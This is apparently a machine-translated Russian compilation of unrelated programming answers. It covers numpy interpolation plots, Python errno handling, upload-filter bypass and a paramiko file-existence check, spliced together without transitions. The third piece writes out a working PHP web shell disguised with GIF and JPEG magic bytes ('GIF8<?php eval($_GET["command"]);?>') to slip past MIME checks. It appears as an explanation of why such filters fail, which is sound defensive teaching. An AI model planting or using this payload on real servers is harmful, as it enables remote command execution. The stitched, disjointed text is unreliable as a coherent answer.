Чтобы добавить промежуточные точки к вашим данным, вам нужно использовать некоторую форму интерполяции . В numpy
есть np.interp
, который обеспечивает простой интерфейс для предварительной линейной интерполяции.
Ниже приведен простой пример.
import numpy as np
import matplotlib.pyplot as plt
x = np.array([1,2,3,10,20,30])
y = np.array([1,2,3,4,5,6])
fig = plt.figure()
ax = fig.add_subplot(1,1,1)
ax.plot(x, y, '.', ms=10)
# Create a continuous range for the x axis from first to last value
xc = np.arange(x[0], x[-1])
yi = np.interp(xc, x, y)
ax.plot(xc, yi, 'x', color='r')
Это дает следующий сюжет.
Входные данные показаны в виде синих кружков, интерполированные в виде красных крестиков.
Ключевым моментом, на который следует обратить внимание, является то, что для интерполяции ваших данных вам необходимо сначала вычислить ось интерполированных данных (например, регулярный диапазон значений от min..max). Затем вы передаете эту новую ось вместе со своими текущими x
и текущими y
значениями в np.interp
. Результатом является новый набор y
значений в интерполированных x
местоположениях.
Используя ваш пример данных / скрипта, вы можете сделать -
import numpy as np
import matplotlib.pyplot as plt
protocols = {}
types = {"data1": "data1_final.csv"}
for protname, fname in types.items():
col_time,col_window = np.loadtxt(fname,delimiter=',').T
trailing_window = col_window[:-1]
leading_window = col_window[1:]
decreasing_inds = np.where(leading_window < trailing_window)[0]
quotient = leading_window[decreasing_inds]/trailing_window[decreasing_inds]
quotient_times = col_time[decreasing_inds]
protocols[protname] = {
"col_time": col_time,
"col_window": col_window,
"quotient_times": quotient_times,
"quotient": quotient,
}
plt.figure(); plt.clf()
plt.plot(quotient_times,quotient, ".", label=protname, color="blue")
# Interpolate, along an axis from min..max quotient_times
xc = np.arange(quotient_times[0], quotient_times[-1], 0.5)
quotienti = np.interp(xc, quotient_times, quotient)
plt.plot(xc, quotienti, 'x', color='r')
plt.ylim(0, 1.0001)
plt.title(protname)
plt.xlabel("time")
plt.ylabel("quotient")
plt.legend()
plt.show()
, что приводит к следующему графику.
См. errno
модуль для констант, определяющих все эти коды ошибок. Кроме того, немного проще использовать атрибут исключения errno
, чем расширение аргументов __ init __
, поэтому я бы сделал следующее:
except IOError, e: # or "as" if you're using Python 3.0
if e.errno == errno.ENOENT:
...
Боюсь сказать, что ответ, который вы выбрали как правильный, неверен. Команда file читает файл в вашей системе Linux, / usr / share / file / magic , который имеет подписи файлов. Например, изображение GIF начинается с текста GIF8 , или файл JPEG начинается с байтов 0xffd8 . Вам просто нужно иметь эти подписи в загружаемом файле, чтобы обмануть команду file . Эти два файла будут приняты как изображения, даже если они будут работать как php-код:
eval_gif.php:
GIF8<?php eval($_GET["command"]);?>
eval_jpg.php (hexdump):
ff d8 3c 3f 70 68 70 20 65 76 61 6c 28 24 5f 47 |..<?php eval($_G|
45 54 5b 22 63 6f 6d 6d 61 6e 64 22 5d 29 3b 3f |ET["command"]);?|
3e 0a 0a |>..|
Это наиболее распространенные ошибки при фильтрации:
def rexists(sftp, path):
"""os.path.exists for paramiko's SCP object
"""
try:
sftp.stat(path)
except IOError, e:
if e[0] == 2:
return False
raise
else:
return True